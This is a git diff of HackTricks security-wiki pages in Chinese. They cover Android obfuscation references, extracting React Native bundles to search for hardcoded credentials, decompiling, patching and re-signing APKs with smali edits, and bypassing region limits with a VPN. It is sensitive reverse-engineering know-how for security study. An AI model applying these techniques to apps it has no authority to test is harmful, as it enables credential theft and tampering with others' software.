- **运行时解密**:许多混淆技术涉及加密字符串或代码段,这些内容仅在运行时解密。通过动态分析,可以在解密时捕获这些加密元素,揭示其真实形式。
|
||||
- **识别混淆技术**:通过监控应用程序的行为,动态分析可以帮助识别正在使用的特定混淆技术,例如代码虚拟化、打包器或动态代码生成。
|
||||
- **揭示隐藏功能**:混淆代码可能包含通过静态分析无法显现的隐藏功能。动态分析允许观察所有代码路径,包括那些有条件执行的路径,以揭示这些隐藏功能。
|
||||
|
||||
## 参考资料和进一步阅读
|
||||
## 参考文献和进一步阅读
|
||||
* [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
|
||||
* BlackHat USA 2018: “解包打包解包器:逆向工程Android反分析库” \[[视频](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
||||
* 本讲座涵盖了我见过的Android应用程序使用的最复杂的反分析本地库之一的逆向工程,主要涵盖了本地代码中的混淆技术。
|
||||
* REcon 2019: “通往有效载荷的路径:Android版” \[[视频](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
|
||||
* 本讲座讨论了一系列混淆技术,仅涉及Java代码,一个Android僵尸网络正在使用这些技术来隐藏其行为。
|
||||
|
||||
</details>
|
||||
* BlackHat USA 2018: “解包打包解包器:逆向工程一个 Android 反分析库” \[[视频](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
||||
* 本次演讲讨论了我所见过的 Android 应用程序使用的最复杂的反分析本地库之一的逆向工程。主要涵盖了本地代码中的混淆技术。
|
||||
* REcon 2019: “通往有效载荷的路径:Android 版” \[[视频](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
|
||||
* 本次演讲讨论了一系列仅在 Java 代码中使用的混淆技术,Android 僵尸网络使用这些技术来隐藏其行为。
|
||||
|
|
|
@ -1,62 +1,64 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
# React Native 应用程序分析
|
||||
# React Native 应用分析
|
||||
|
||||
要确认应用程序是否基于React Native框架构建,请按照以下步骤操作:
|
||||
要确认应用是否基于 React Native 框架构建,请按照以下步骤操作:
|
||||
|
||||
1. 使用命令`cp com.example.apk example-apk.zip`将APK文件重命名为zip扩展名,并将其提取到一个新文件夹中。
|
||||
1. 将 APK 文件重命名为 zip 扩展名,并使用命令 `cp com.example.apk example-apk.zip` 和 `unzip -qq example-apk.zip -d ReactNative` 解压到新文件夹中。
|
||||
|
||||
2. 转到新创建的ReactNative文件夹,并找到assets文件夹。在此文件夹中,您应该找到名为`index.android.bundle`的文件,其中包含React JavaScript的压缩格式。
|
||||
2. 导航到新创建的 ReactNative 文件夹,找到 assets 文件夹。在此文件夹中,您应该找到文件 `index.android.bundle`,该文件以压缩格式包含 React JavaScript。
|
||||
|
||||
3. 使用命令`find . -print | grep -i ".bundle$"`搜索JavaScript文件。
|
||||
3. 使用命令 `find . -print | grep -i ".bundle$"` 搜索 JavaScript 文件。
|
||||
|
||||
要进一步分析JavaScript代码,请在相同目录中创建一个名为`index.html`的文件,其中包含以下代码:
|
||||
要进一步分析 JavaScript 代码,请在同一目录中创建一个名为 `index.html` 的文件,内容如下:
|
||||
```html
|
||||
<script src="./index.android.bundle"></script>
|
||||
```
|
||||
你可以将文件上传到[https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/),或按照以下步骤操作:
|
||||
您可以将文件上传到 [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) 或按照以下步骤操作:
|
||||
|
||||
1. 在Google Chrome中打开`index.html`文件。
|
||||
1. 在 Google Chrome 中打开 `index.html` 文件。
|
||||
|
||||
2. 通过按下**OS X的Command+Option+J**或**Windows的Control+Shift+J**来打开开发者工具栏。
|
||||
2. 按 **Command+Option+J for OS X** 或 **Control+Shift+J for Windows** 打开开发者工具栏。
|
||||
|
||||
3. 在开发者工具栏中点击“Sources”。您应该会看到一个JavaScript文件,该文件分为文件夹和文件,组成了主要的捆绑包。
|
||||
3. 在开发者工具栏中点击“Sources”。您应该会看到一个 JavaScript 文件,它被分成多个文件夹和文件,构成了主包。
|
||||
|
||||
如果找到名为`index.android.bundle.map`的文件,则可以以未经缩小的格式分析源代码。映射文件包含源映射,允许您映射缩小后的标识符。
|
||||
如果您找到一个名为 `index.android.bundle.map` 的文件,您将能够以未压缩的格式分析源代码。映射文件包含源映射,这使您能够映射压缩的标识符。
|
||||
|
||||
要搜索敏感凭据和端点,请按照以下步骤操作:
|
||||
要搜索敏感凭证和端点,请按照以下步骤操作:
|
||||
|
||||
1. 确定要分析JavaScript代码的敏感关键字。React Native应用程序通常使用第三方服务,如Firebase、AWS S3服务端点、私钥等。
|
||||
1. 确定敏感关键词以分析 JavaScript 代码。React Native 应用程序通常使用第三方服务,如 Firebase、AWS S3 服务端点、私钥等。
|
||||
|
||||
2. 在这种特定情况下,观察到应用程序正在使用Dialogflow服务。搜索与其配置相关的模式。
|
||||
2. 在这种特定情况下,观察到该应用程序使用了 Dialogflow 服务。搜索与其配置相关的模式。
|
||||
|
||||
3. 在侦察过程中,幸运地在JavaScript代码中找到了敏感的硬编码凭据。
|
||||
3. 幸运的是,在侦查过程中在 JavaScript 代码中发现了敏感的硬编码凭证。
|
||||
|
||||
## 参考资料
|
||||
## References
|
||||
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上**关注我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,97 +1,98 @@
|
|||
# Smali - Decompiling/\[Modifying]/Compiling
|
||||
# Smali - 反编译/\[修改]/编译
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
有时修改应用程序代码以访问隐藏信息(也许是混淆良好的密码或标志)是很有趣的。然后,将apk反编译,修改代码,然后重新编译可能是有趣的。
|
||||
有时修改应用程序代码以访问隐藏信息(可能是经过良好混淆的密码或标志)是很有趣的。然后,反编译 apk、修改代码并重新编译可能会很有趣。
|
||||
|
||||
**操作码参考:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
|
||||
|
||||
## 快速方式
|
||||
## 快速方法
|
||||
|
||||
使用**Visual Studio Code**和[APKLab](https://github.com/APKLab/APKLab)扩展,您可以**自动反编译**,修改,**重新编译**,签名和安装应用程序,而无需执行任何命令。
|
||||
使用 **Visual Studio Code** 和 [APKLab](https://github.com/APKLab/APKLab) 扩展,您可以 **自动反编译**、修改、**重新编译**、签名并安装应用程序,而无需执行任何命令。
|
||||
|
||||
另一个**脚本**可以极大地简化这个任务:[**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
|
||||
另一个大大简化此任务的 **脚本** 是 [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
|
||||
|
||||
## 反编译APK
|
||||
## 反编译 APK
|
||||
|
||||
使用APKTool,您可以访问**smali代码和资源**:
|
||||
使用 APKTool,您可以访问 **smali 代码和资源**:
|
||||
```bash
|
||||
apktool d APP.apk
|
||||
```
|
||||
如果**apktool**出现任何错误,请尝试[安装**最新版本**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
如果 **apktool** 给你任何错误,请尝试[安装 **最新版本**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
|
||||
一些您应该查看的**有趣文件**包括:
|
||||
一些 **你应该查看的有趣文件**:
|
||||
|
||||
* _res/values/strings.xml_(以及res/values/\*中的所有xml文件)
|
||||
* _res/values/strings.xml_(以及 res/values/* 中的所有 xml)
|
||||
* _AndroidManifest.xml_
|
||||
* 任何扩展名为_.sqlite_或_.db_的文件
|
||||
* 任何扩展名为 _.sqlite_ 或 _.db_ 的文件
|
||||
|
||||
如果`apktool`在**解码应用程序**时出现问题,请查看[https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files)或尝试使用参数**`-r`**(不解码资源)。然后,如果问题出现在资源而不是源代码中,您将不会遇到问题(也不会反编译资源)。
|
||||
如果 `apktool` 在 **解码应用程序时遇到问题**,请查看 [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) 或尝试使用参数 **`-r`**(不解码资源)。然后,如果问题出在资源而不是源代码中,你就不会遇到这个问题(你也不会反编译资源)。
|
||||
|
||||
## 更改smali代码
|
||||
## 修改 smali 代码
|
||||
|
||||
您可以更改**指令**,更改某些变量的**值**或**添加**新指令。我使用[**VS Code**](https://code.visualstudio.com)更改Smali代码,然后安装**smalise扩展程序**,编辑器将告诉您是否有任何**不正确的指令**。\
|
||||
一些**示例**可以在这里找到:
|
||||
你可以 **更改** **指令**,更改某些变量的 **值** 或 **添加** 新指令。我使用 [**VS Code**](https://code.visualstudio.com) 更改 Smali 代码,然后安装 **smalise 扩展**,编辑器会告诉你是否有任何 **指令不正确**。\
|
||||
一些 **示例** 可以在这里找到:
|
||||
|
||||
* [Smali更改示例](smali-changes.md)
|
||||
* [Google CTF 2018 - 我们玩个游戏吧?](google-ctf-2018-shall-we-play-a-game.md)
|
||||
* [Smali 更改示例](smali-changes.md)
|
||||
* [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
|
||||
|
||||
或者您可以[**查看下面一些解释的Smali更改**](smali-changes.md#modifying-smali)。
|
||||
或者你可以 [**查看下面一些 Smali 更改的解释**](smali-changes.md#modifying-smali)。
|
||||
|
||||
## 重新编译APK
|
||||
## 重新编译 APK
|
||||
|
||||
在修改代码后,您可以使用以下命令**重新编译**代码:
|
||||
在修改代码后,你可以使用 **重新编译** 代码:
|
||||
```bash
|
||||
apktool b . #In the folder generated when you decompiled the application
|
||||
```
|
||||
它会**在**_**dist**_文件夹**内**编译新的APK。
|
||||
它将**编译**新的APK**在**_**dist**_文件夹中。
|
||||
|
||||
如果**apktool**出现**错误**,请[安装**最新版本**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
如果**apktool**抛出**错误**,请尝试[安装**最新版本**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
|
||||
### **对新APK进行签名**
|
||||
### **签署新的APK**
|
||||
|
||||
然后,您需要**生成一个密钥**(系统会要求您输入密码和一些信息,您可以随机填写):
|
||||
然后,您需要**生成一个密钥**(系统会要求您输入密码和一些您可以随机填写的信息):
|
||||
```bash
|
||||
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
|
||||
```
|
||||
最后,对新的APK进行**签名**:
|
||||
最后,**签名**新的APK:
|
||||
```bash
|
||||
jarsigner -keystore key.jks path/to/dist/* <your-alias>
|
||||
```
|
||||
### 优化新应用程序
|
||||
|
||||
**zipalign** 是一个存档对齐工具,为 Android 应用程序(APK)文件提供重要的优化。[更多信息请点击这里](https://developer.android.com/studio/command-line/zipalign)。
|
||||
**zipalign** 是一个归档对齐工具,为 Android 应用程序 (APK) 文件提供重要的优化。[更多信息在这里](https://developer.android.com/studio/command-line/zipalign).
|
||||
```bash
|
||||
zipalign [-f] [-v] <alignment> infile.apk outfile.apk
|
||||
zipalign -v 4 infile.apk
|
||||
```
|
||||
### **为新APK签名(再次?)**
|
||||
### **再次签署新的APK(?)**
|
||||
|
||||
如果您更喜欢使用[**apksigner**](https://developer.android.com/studio/command-line/)而不是jarsigner,您应该在应用zipalign优化后对apk进行签名。但请注意,您只需要在zipalign之前使用jarsigner签名应用程序一次,或者在zipalign之后使用apksigner签名一次。
|
||||
如果您**更喜欢**使用 [**apksigner**](https://developer.android.com/studio/command-line/) 而不是 jarsigner,**您应该在应用了** zipalign **的优化后签署apk**。但请注意,您只需**使用jarsigner(在zipalign之前)或使用aspsigner(在zipalign之后)签署应用程序一次**。
|
||||
```bash
|
||||
apksigner sign --ks key.jks ./dist/mycompiled.apk
|
||||
```
|
||||
## 修改 Smali
|
||||
|
||||
对于以下的 Hello World Java 代码:
|
||||
对于以下 Hello World Java 代码:
|
||||
```java
|
||||
public static void printHelloWorld() {
|
||||
System.out.println("Hello World")
|
||||
}
|
||||
```
|
||||
Smali 代码将是:
|
||||
Smali代码将是:
|
||||
```java
|
||||
.method public static printHelloWorld()V
|
||||
.registers 2
|
||||
|
@ -101,11 +102,13 @@ invoke-virtual {v0,v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
|
|||
return-void
|
||||
.end method
|
||||
```
|
||||
### 轻微更改
|
||||
The Smali instruction set is available [here](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions).
|
||||
|
||||
### 修改函数内变量的初始值
|
||||
### Light Changes
|
||||
|
||||
一些变量在函数开始时使用操作码_const_定义,您可以修改其值,或者定义新变量:
|
||||
### 修改函数内部变量的初始值
|
||||
|
||||
一些变量在函数开始时使用操作码 _const_ 定义,您可以修改其值,或者可以定义新的值:
|
||||
```bash
|
||||
#Number
|
||||
const v9, 0xf4240
|
||||
|
@ -147,19 +150,19 @@ move-result-object v1 #Move to v1
|
|||
const-string v5, "wins" #Save "win" inside v5
|
||||
invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I #Logging "Wins: <num>"
|
||||
```
|
||||
Recommendations:
|
||||
推荐:
|
||||
|
||||
* 如果您要在函数内部使用已声明的变量(声明为v0、v1、v2等),请将这些行放在 _.local \<number>_ 和变量声明之间(_const v0, 0x1_)。
|
||||
* 如果要在函数代码中间添加日志记录代码:
|
||||
* 将声明变量的数量加2:例如,从 _.locals 10_ 变为 _.locals 12_。
|
||||
* 新变量应为已声明变量的下一个数字(在此示例中应为 _v10_ 和 _v11_,请记住它从v0开始)。
|
||||
* 更改日志记录函数的代码,并使用 _v10_ 和 _v11_ 替换 _v5_ 和 _v1_。
|
||||
* 如果您打算在函数内部使用声明的变量(声明 v0,v1,v2...),请将这些行放在 _.local \<number>_ 和变量声明 (_const v0, 0x1_) 之间。
|
||||
* 如果您想在函数代码中间放置日志记录代码:
|
||||
* 将声明的变量数量加 2:例如,从 _.locals 10_ 到 _.locals 12_。
|
||||
* 新变量应为已声明变量的下一个数字(在此示例中应为 _v10_ 和 _v11_,请记住它从 v0 开始)。
|
||||
* 更改日志记录函数的代码,并使用 _v10_ 和 _v11_ 替代 _v5_ 和 _v1_。
|
||||
|
||||
### Toasting
|
||||
|
||||
请记得在函数开头的 _.locals_ 数量上加3。
|
||||
请记得在函数开始时将 _.locals 的数量加 3。
|
||||
|
||||
此代码准备好插入到**函数中间**(**根据需要更改**变量的**数量**)。它将获取**this.o**的**值**,将其转换为**字符串**,然后**制作**一个**toast**显示其值。
|
||||
此代码准备插入到 **函数的中间**(**根据需要更改** **变量** 的 **数量**)。它将获取 **this.o** 的 **值**,**转换** 为 **String**,然后 **制作** 一个 **toast**,其值为。
|
||||
```bash
|
||||
const/4 v10, 0x1
|
||||
const/4 v11, 0x1
|
||||
|
@ -171,16 +174,17 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
|
|||
move-result-object v12
|
||||
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,57 +1,59 @@
|
|||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
在应用程序受限于特定国家的情况下,由于区域限制,您无法在Android设备上安装该应用程序,将您的位置伪装成该应用可用的国家可以让您获得访问权限。以下是如何执行此操作的步骤:
|
||||
在某些应用程序仅限于特定国家的情况下,如果由于地区限制无法在 Android 设备上安装它,伪装您的位置到该应用程序可用的国家可以让您获得访问权限。以下步骤详细说明了如何做到这一点:
|
||||
|
||||
1. **安装Hotspot Shield免费VPN代理:**
|
||||
- 首先从Google Play商店下载并安装Hotspot Shield免费VPN代理。
|
||||
1. **安装 Hotspot Shield 免费 VPN 代理:**
|
||||
- 首先从 Google Play 商店下载并安装 Hotspot Shield 免费 VPN 代理。
|
||||
|
||||
2. **连接到VPN服务器:**
|
||||
- 打开Hotspot Shield应用程序。
|
||||
- 通过选择您要访问的应用程序可用的国家,连接到VPN服务器。
|
||||
2. **连接到 VPN 服务器:**
|
||||
- 打开 Hotspot Shield 应用程序。
|
||||
- 通过选择您想要访问的应用程序可用的国家连接到 VPN 服务器。
|
||||
|
||||
3. **清除Google Play商店数据:**
|
||||
- 转到您设备的**设置**。
|
||||
- 进入**应用**或**应用管理器**(这可能因您的设备而异)。
|
||||
- 从应用列表中找到并选择**Google Play商店**。
|
||||
- 点击**强制停止**以终止应用的任何运行进程。
|
||||
- 然后点击**清除数据**或**清除存储空间**(确切的措辞可能有所不同)以将Google Play商店应用重置为默认状态。
|
||||
3. **清除 Google Play 商店数据:**
|
||||
- 导航到设备的 **设置**。
|
||||
- 进入 **应用** 或 **应用管理器**(这可能因设备而异)。
|
||||
- 从应用列表中找到并选择 **Google Play 商店**。
|
||||
- 点击 **强制停止** 以终止应用的任何运行进程。
|
||||
- 然后点击 **清除数据** 或 **清除存储**(确切的措辞可能有所不同)以将 Google Play 商店应用重置为默认状态。
|
||||
|
||||
4. **访问受限应用程序:**
|
||||
- 打开**Google Play商店**。
|
||||
- 商店现在应该反映您通过VPN连接的国家的内容。
|
||||
- 您应该能够搜索并安装先前在您实际位置不可用的应用程序。
|
||||
- 打开 **Google Play 商店**。
|
||||
- 商店现在应该反映您通过 VPN 连接的国家的内容。
|
||||
- 您应该能够搜索并安装之前在您实际位置不可用的应用程序。
|
||||
|
||||
### 重要提示:
|
||||
- 此方法的有效性可能会因VPN服务的可靠性和应用程序施加的特定区域限制等多种因素而有所不同。
|
||||
- 定期使用VPN可能会影响某些应用程序和服务的性能。
|
||||
- 请注意您正在使用的任何应用程序或服务的服务条款,因为使用VPN绕过区域限制可能会违反这些条款。
|
||||
### 重要说明:
|
||||
- 此方法的有效性可能会因多个因素而异,包括 VPN 服务的可靠性和应用程序施加的特定地区限制。
|
||||
- 定期使用 VPN 可能会影响某些应用和服务的性能。
|
||||
- 请注意您使用的任何应用或服务的服务条款,因为使用 VPN 绕过地区限制可能会违反这些条款。
|
||||
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
* [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
